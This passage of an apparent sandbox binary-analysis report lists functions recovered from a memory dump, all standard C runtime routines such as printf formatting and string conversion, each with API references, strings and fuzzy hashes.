__mbtowc_l.LIBCMTD ref: 0043A88B

Strings

("Incorrect format specifier", 0), xrefs: 00439B9A, 00439BE0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439BA6, 00439BD6
_woutput_s_l, xrefs: 00439BDB
9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 7ab4d1f2d079e04483ae421a9444d5e1440a7588e539fa307823eacb4b3c16c1
Instruction ID: f9282a48c59962460a34525dbe11833721a016ab4d3138aa287865746194baeb
Opcode Fuzzy Hash: 7ab4d1f2d079e04483ae421a9444d5e1440a7588e539fa307823eacb4b3c16c1
Instruction Fuzzy Hash: 2DF16CB1D402299FDB24CF58CC81BAEB7B4FF48314F14509AE189A7241D778AE94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00438DF7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438DFB
__get_printf_count_output.LIBCMTD ref: 00438E09
__invalid_parameter.LIBCMTD ref: 00438E90
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00438EA5
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
_output_s_l, xrefs: 0043878E, 00438E86
-, xrefs: 004393B8
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789, 00438E51, 00438E81
("'n' format specifier disabled", 0), xrefs: 00438E45, 00438E8B

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: a08b9ecd093679bb17e3e7a84a084ff13661151d23fced9c9e966112907950b8
Instruction ID: 2efc16544e1020145eab7186e8f58aeff064aede331c8cd608feccbfbd8b146a
Opcode Fuzzy Hash: a08b9ecd093679bb17e3e7a84a084ff13661151d23fced9c9e966112907950b8
Instruction Fuzzy Hash: B7A181B1D012299BDF25DF54CC49BEEB7B0EB48304F2451DAE4197A281D7B89E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A19A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043A19E
__get_printf_count_output.LIBCMTD ref: 0043A1AC
__invalid_parameter.LIBCMTD ref: 0043A233
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043A248
_write_multi_char.LIBCMTD ref: 0043A7D5
_write_string.LIBCMTD ref: 0043A7F0
_write_multi_char.LIBCMTD ref: 0043A81C
__mbtowc_l.LIBCMTD ref: 0043A88B

Strings

("Incorrect format specifier", 0), xrefs: 00439B9A, 00439BE0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439BA6, 00439BD6, 0043A1F4, 0043A224
("'n' format specifier disabled", 0), xrefs: 0043A1E8, 0043A22E
_woutput_s_l, xrefs: 00439BDB, 0043A229

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: dfa7e9878ad7e8b3d90b0792a0dc8bfece98df4676660d17a397a0b71874a7d7
Instruction ID: a7fbac5abec37cb32c57d885b68f54a1dd1dc60d1a3d928e63afff10011090d4
Opcode Fuzzy Hash: dfa7e9878ad7e8b3d90b0792a0dc8bfece98df4676660d17a397a0b71874a7d7
Instruction Fuzzy Hash: 38A181B0D402289BDB24DB54CC81BAEB374FB48308F1450DAE64977281E778AE94CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434153, Relevance: 25.8, APIs: 17, Instructions: 319COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043419B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341D1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341F2
wcsncnt.LIBCMTD ref: 00434229
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043428F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004344E0

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$wcsncnt
String ID:
API String ID: 986326057-0
Opcode ID: abfd67818945c9bb990ea3f78833e389ef48ca256222abdb199c2acc52314be4
Instruction ID: 930f0e8d80b52ffb69628a638c7c2b007111d4fd49df43a9a80bcee7498eb860
Opcode Fuzzy Hash: abfd67818945c9bb990ea3f78833e389ef48ca256222abdb199c2acc52314be4
Instruction Fuzzy Hash: B6E10971D00118EFCB04DF95C894BEEB7B1FF98304F20915AE5126B2A5E778AE41DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00438C45, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438C49
_strlen.LIBCMT ref: 00438C79
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
_output_s_l, xrefs: 0043878E
-, xrefs: 004393B8
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: b4492262ee9b7f03cac7b8c2376f36f4079092ced4dffd90a8167e311042ce3b
Instruction ID: 3c84093726c236c4fe0d63c2f72a1d6dcb68211ade30d11e5c32e832d2a9e798
Opcode Fuzzy Hash: b4492262ee9b7f03cac7b8c2376f36f4079092ced4dffd90a8167e311042ce3b
Instruction Fuzzy Hash: A2A16CB1D012299FDB25DF58CC89BEEB7B1AB48304F1491DAE4096A281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00439FC4, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00439FC8
_strlen.LIBCMT ref: 00439FF8
_write_multi_char.LIBCMTD ref: 0043A7D5
_write_string.LIBCMTD ref: 0043A7F0
_write_multi_char.LIBCMTD ref: 0043A81C
__mbtowc_l.LIBCMTD ref: 0043A88B

Strings

("Incorrect format specifier", 0), xrefs: 00439B9A, 00439BE0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439BA6, 00439BD6
_woutput_s_l, xrefs: 00439BDB

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-2264504294
Opcode ID: 93ccf4a3fd4c669223de91481bcff6ccb5d9530025409157c3ca134458e3986e
Instruction ID: 112aa5c24e07c98225cd5dd13622770e7858cd7734dcb955c8c6825f5615e5e6
Opcode Fuzzy Hash: 93ccf4a3fd4c669223de91481bcff6ccb5d9530025409157c3ca134458e3986e
Instruction Fuzzy Hash: 3DA18EB0D002289FDB24DF54CC81BAEB3B4FB48304F14919AE64967281D778AE84CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004332C6, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00433328
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043333D
_memset.LIBCMT ref: 004333C4
__invalid_parameter.LIBCMTD ref: 00433424
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00433436
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00433471

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 004333E8, 00433415
_mbstowcs_s_l, xrefs: 0043341A
P, xrefs: 00433446
retsize <= sizeInWords, xrefs: 004333DC, 0043341F
", xrefs: 0043342C

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$_memset$__invalid_parameter
String ID: "$P$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2173491032-2919109160
Opcode ID: c0ec633c0974ece4c73bbd6ed867788d62d1926ece98e05c01c4db1b2f03672e
Instruction ID: 71c7e3becfa60fcfa84c417865d2aba2e821aef0aefc5239f10efd8dcbbf67cd
Opcode Fuzzy Hash: c0ec633c0974ece4c73bbd6ed867788d62d1926ece98e05c01c4db1b2f03672e
Instruction Fuzzy Hash: B1516D70D00209DBCB14DF68C845AAF7771FF48725F20962AE825573D0D7789A52CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00423205, Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00423219
__CrtIsValidHeapPointer.LIBCMTD ref: 004232A5
_CheckBytes.LIBCMTD ref: 00423350
_CheckBytes.LIBCMTD ref: 0042340A
_memset.LIBCMT ref: 00423501
__free_base.LIBCMTD ref: 0042350D

Strings

tDj, xrefs: 0042325B
u!hPV@, xrefs: 004232AF

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj$u!hPV@
API String ID: 25084783-1255304891
Opcode ID: 9923c24750a5680bd6397814fdd09b3b6ca9e6a6edd6930603893c297c852070
Instruction ID: d206adddb596ae1846f75c1886a5aae3b288e087a7d1e404aeaa0b6fe76363e4
Opcode Fuzzy Hash: 9923c24750a5680bd6397814fdd09b3b6ca9e6a6edd6930603893c297c852070
Instruction Fuzzy Hash: 5091DF70B40214EBDB24DF84ED86F6A73B5AB58705F704199F505AB2C2C2B9EF41CA9C

Uniqueness

Uniqueness Score: -1.00%

Function 00434794, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004347F3
_memset.LIBCMT ref: 0043487C
__invalid_parameter.LIBCMTD ref: 004348DB

Strings

sizeInBytes > retsize, xrefs: 00434893, 004348D6
_wcstombs_s_l, xrefs: 004348D1
P, xrefs: 004348F0
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043489F, 004348CC

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: d065ccb2e5aed0374f095c2089aa2b9746f8d08613269eeab7644afd96741c30
Instruction ID: 81dff59d38f89e4d96ebf974d8e646955793f2df54ff165ac70901fba3aa05b9
Opcode Fuzzy Hash: d065ccb2e5aed0374f095c2089aa2b9746f8d08613269eeab7644afd96741c30
Instruction Fuzzy Hash: DD418D74D00249DFCB18DF69C845BEE7770FB88328F10966AE8252B3D0D379A951CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00431C00, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 00431C1A
_$I10_OUTPUT.LIBCMTD ref: 00431C42
_wcscpy_s.LIBCMTD ref: 00431C82

Part of subcall function 0042F650: __invalid_parameter.LIBCMTD ref: 0042F6C2

__invoke_watson_if_error.LIBCMTD ref: 00431C8B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 00431C67
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 00431C71
_fltout2, xrefs: 00431C6C

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 3ae4ec015e1acae297206c4eb6a317df275287bc3eb53c9e83fcdb08b4a2500e
Instruction ID: 4351c5caa21e1ef01fdd29bfe158a2f0842627d3c5be89e01fcac01df8f8ca06
Opcode Fuzzy Hash: 3ae4ec015e1acae297206c4eb6a317df275287bc3eb53c9e83fcdb08b4a2500e
Instruction Fuzzy Hash: B8214DB5A403089BCB04EF65D842EEEB7F4AF9C704F108569F804A7382E634E915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00432E60, Relevance: 12.2, APIs: 8, Instructions: 160COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432E9E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432EC8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432F13

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 4993530650ecbb6568e2677f79c40b6ff9662e04c9afb4806f7ce72575fc6f1a
Instruction ID: ccf9551a5df371050ce6a570003717e569d15d9a325cfd72c9171bffee6a74d0
Opcode Fuzzy Hash: 4993530650ecbb6568e2677f79c40b6ff9662e04c9afb4806f7ce72575fc6f1a
Instruction Fuzzy Hash: 6F612A74D04109DFCB08DFA9C9919EEB7B1FF48305F20815AE416AB294E778AE41DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004390C1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322
', xrefs: 004390C1
0, xrefs: 004390DD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction ID: 2027298c10c90863af3a81c9ff85f72b984f5fd47d3016fee54fd47999a8f341
Opcode Fuzzy Hash: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction Fuzzy Hash: B94113B1D05629DFEF24CF88C889BAEB7B5BB48304F2495DAD009A7244C7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004331A3, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004331F4
__invalid_parameter.LIBCMTD ref: 0043328D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043329F

Strings

bufferSize <= INT_MAX, xrefs: 00433245, 00433288
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00433251, 0043327E
_mbstowcs_s_l, xrefs: 00433283

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~___invalid_parameter_memset
String ID: _mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 255745848-890208756
Opcode ID: d03ea1b13b7150eeabc6d545de6c577a292ce381e7ba0ca124388358c962da46
Instruction ID: 9a7a1948d9e82eb54b98c54db9f12dfb175bdc47bbe712474e45a4a6478d8007
Opcode Fuzzy Hash: d03ea1b13b7150eeabc6d545de6c577a292ce381e7ba0ca124388358c962da46
Instruction Fuzzy Hash: FC316B70A40209DBCB24DF98CC42BAF7771BB08315F20565AF825662D0D7B9AA51CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004390AE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322
0, xrefs: 004390DD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction ID: 9ca941e1fed3f40fdb5392937753ee428825f13441655a31fb27456423d44115
Opcode Fuzzy Hash: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction Fuzzy Hash: 304103B1D05629DFEF24CF88C889BAEB7B5BB48304F2495DAD409A7244C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043A463, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

', xrefs: 0043A463
9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction ID: 09487d18c64c0aee34e9c2bc2eb3d51438eb1fdc1679ef4dd59c19c3ebf008e1
Opcode Fuzzy Hash: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction Fuzzy Hash: 2D4149B0E401299FDF24CF58C941BAEB7B5FF89314F145099D188AB241D7789E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 00434693, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004346E0
__invalid_parameter.LIBCMTD ref: 0043476D

Strings

bufferSize <= INT_MAX, xrefs: 00434725, 00434768
_wcstombs_s_l, xrefs: 00434763
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00434731, 0043475E

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 4fa0999b674c2311d45d60a4ce673a8627b265152933aa9ecad8c904060b1eb1
Instruction ID: 3751e4312588b02fc3d120c2eb653375f4193a45b5be0d6d8454feb486c09721
Opcode Fuzzy Hash: 4fa0999b674c2311d45d60a4ce673a8627b265152933aa9ecad8c904060b1eb1
Instruction Fuzzy Hash: 77217F70A403499BCF24DF58CC42BEE37A1FB99318F20565AE8252B3D0D37DA950CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004207A1, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00420883
__getbuf.LIBCMTD ref: 00420893
__write.LIBCMTD ref: 0042091B

Strings

_B, xrefs: 00420917, 0042087F, 00420882, 0042091A

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __getbuf__isatty__write
String ID: _B
API String ID: 2861569966-3051220590
Opcode ID: aacfdeaddbbd2fb86961fb89664614631251f55b7905d5d66f2eb16352881419
Instruction ID: b2248d441c19c01c3e36d87e30cecdbcfa78c068068802bfc0a9a33d8365c8db
Opcode Fuzzy Hash: aacfdeaddbbd2fb86961fb89664614631251f55b7905d5d66f2eb16352881419
Instruction Fuzzy Hash: 6951EC78B00218EFDB04DF94D491A6EFBB1FF84324F54829AD4456B396D635E981CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0043A450, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction ID: fdfc8672b2516f8124262a1bfb62d55bff3c2ed9bd11918069f335f28ddd2d77
Opcode Fuzzy Hash: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction Fuzzy Hash: B34147B0E401299FDB24CF48C881BAEB7B4FF89314F14509AD189AB241D7789E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 004390F6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction ID: fe4bfbac82b75efa67c326eb6d76e0f850e6af74fc1f4237dd0999226a9d3e0b
Opcode Fuzzy Hash: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction Fuzzy Hash: 0D41F2B1D01629EFEB24CF89C899BAEB7B5BB88300F1095DAD009A7244D7785E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043A49E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction ID: d5b79e8780c304228805d5dce1730e8d7dd0daaa9a994ddb55f96bc2ca9d985d
Opcode Fuzzy Hash: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction Fuzzy Hash: 524128B1E401299FDB24CF48CD81BAEB7B5FB89314F149099D189AB241D7389E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDF7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__initterm.LIBCMTD ref: 0041CEEA
__initterm.LIBCMTD ref: 0041CEFC
___freeCrtMemory.LIBCMTD ref: 0041CF26

Part of subcall function 00424670: RtlEncodePointer.NTDLL(00000000,?,004268FE), ref: 00424677

Strings

m, xrefs: 0041CF0F

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __initterm$EncodeMemoryPointer___free
String ID: m
API String ID: 2595969746-1228489174
Opcode ID: 6831e851d194b7e71f08d1e2e94c760baa052989e76dc6869fcbe8da55445937
Instruction ID: 371e5248576f0d3cc9f3cff8df3663c174b390829627e97c7422c3872aef3945
Opcode Fuzzy Hash: 6831e851d194b7e71f08d1e2e94c760baa052989e76dc6869fcbe8da55445937
Instruction Fuzzy Hash: F2412BB5D40218DBCB04DFA4E984AEEBBB2FB4C355F20416AE411B7390D7385881CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043A447, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
_get_int64_arg.LIBCMTD ref: 0043A4F2
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction ID: 368531f025ba90a15464bfdfd8b1babf41771f51132759a99561b482fcc9237c
Opcode Fuzzy Hash: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction Fuzzy Hash: 444148B0E401299FDB24CF48C981B9EB7B4FB89314F14509AD288A7241D7389E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 004390A5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
_get_int64_arg.LIBCMTD ref: 0043914A
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction ID: 8e2732ad7c92a69ce7ae4aac7e35b4f51b30c5e8958c666d59b8d2bb9243c44f
Opcode Fuzzy Hash: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction Fuzzy Hash: A74104B1D05629EFEF24CF49C889BAEB7B5BB48304F2095DAE009A7244D7785E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00432DC5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00432E3A

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00432E01, 00432E2B
_mbstowcs_l_helper, xrefs: 00432E30
s != NULL, xrefs: 00432DF8, 00432E35

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$s != NULL
API String ID: 3730194576-4287754273
Opcode ID: 6090a3c53d9b002251fcc71916333212c46e9b437862228d703a3c8ba37a18d3
Instruction ID: f55963b4c54a0028b9c8d5138ed0f6482c00dda477ca7631a63291f822498bb8
Opcode Fuzzy Hash: 6090a3c53d9b002251fcc71916333212c46e9b437862228d703a3c8ba37a18d3
Instruction Fuzzy Hash: E0016270E84308EBDB20AE60CC0B7AB3660AF5871AF20512BB515752C2D3FD46A4C69E

Uniqueness

Uniqueness Score: -1.00%

Function 004340D6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00434137

Strings

_wcstombs_l_helper, xrefs: 0043412D
pwcs != NULL, xrefs: 004340F5, 00434132
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004340FE, 00434128

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

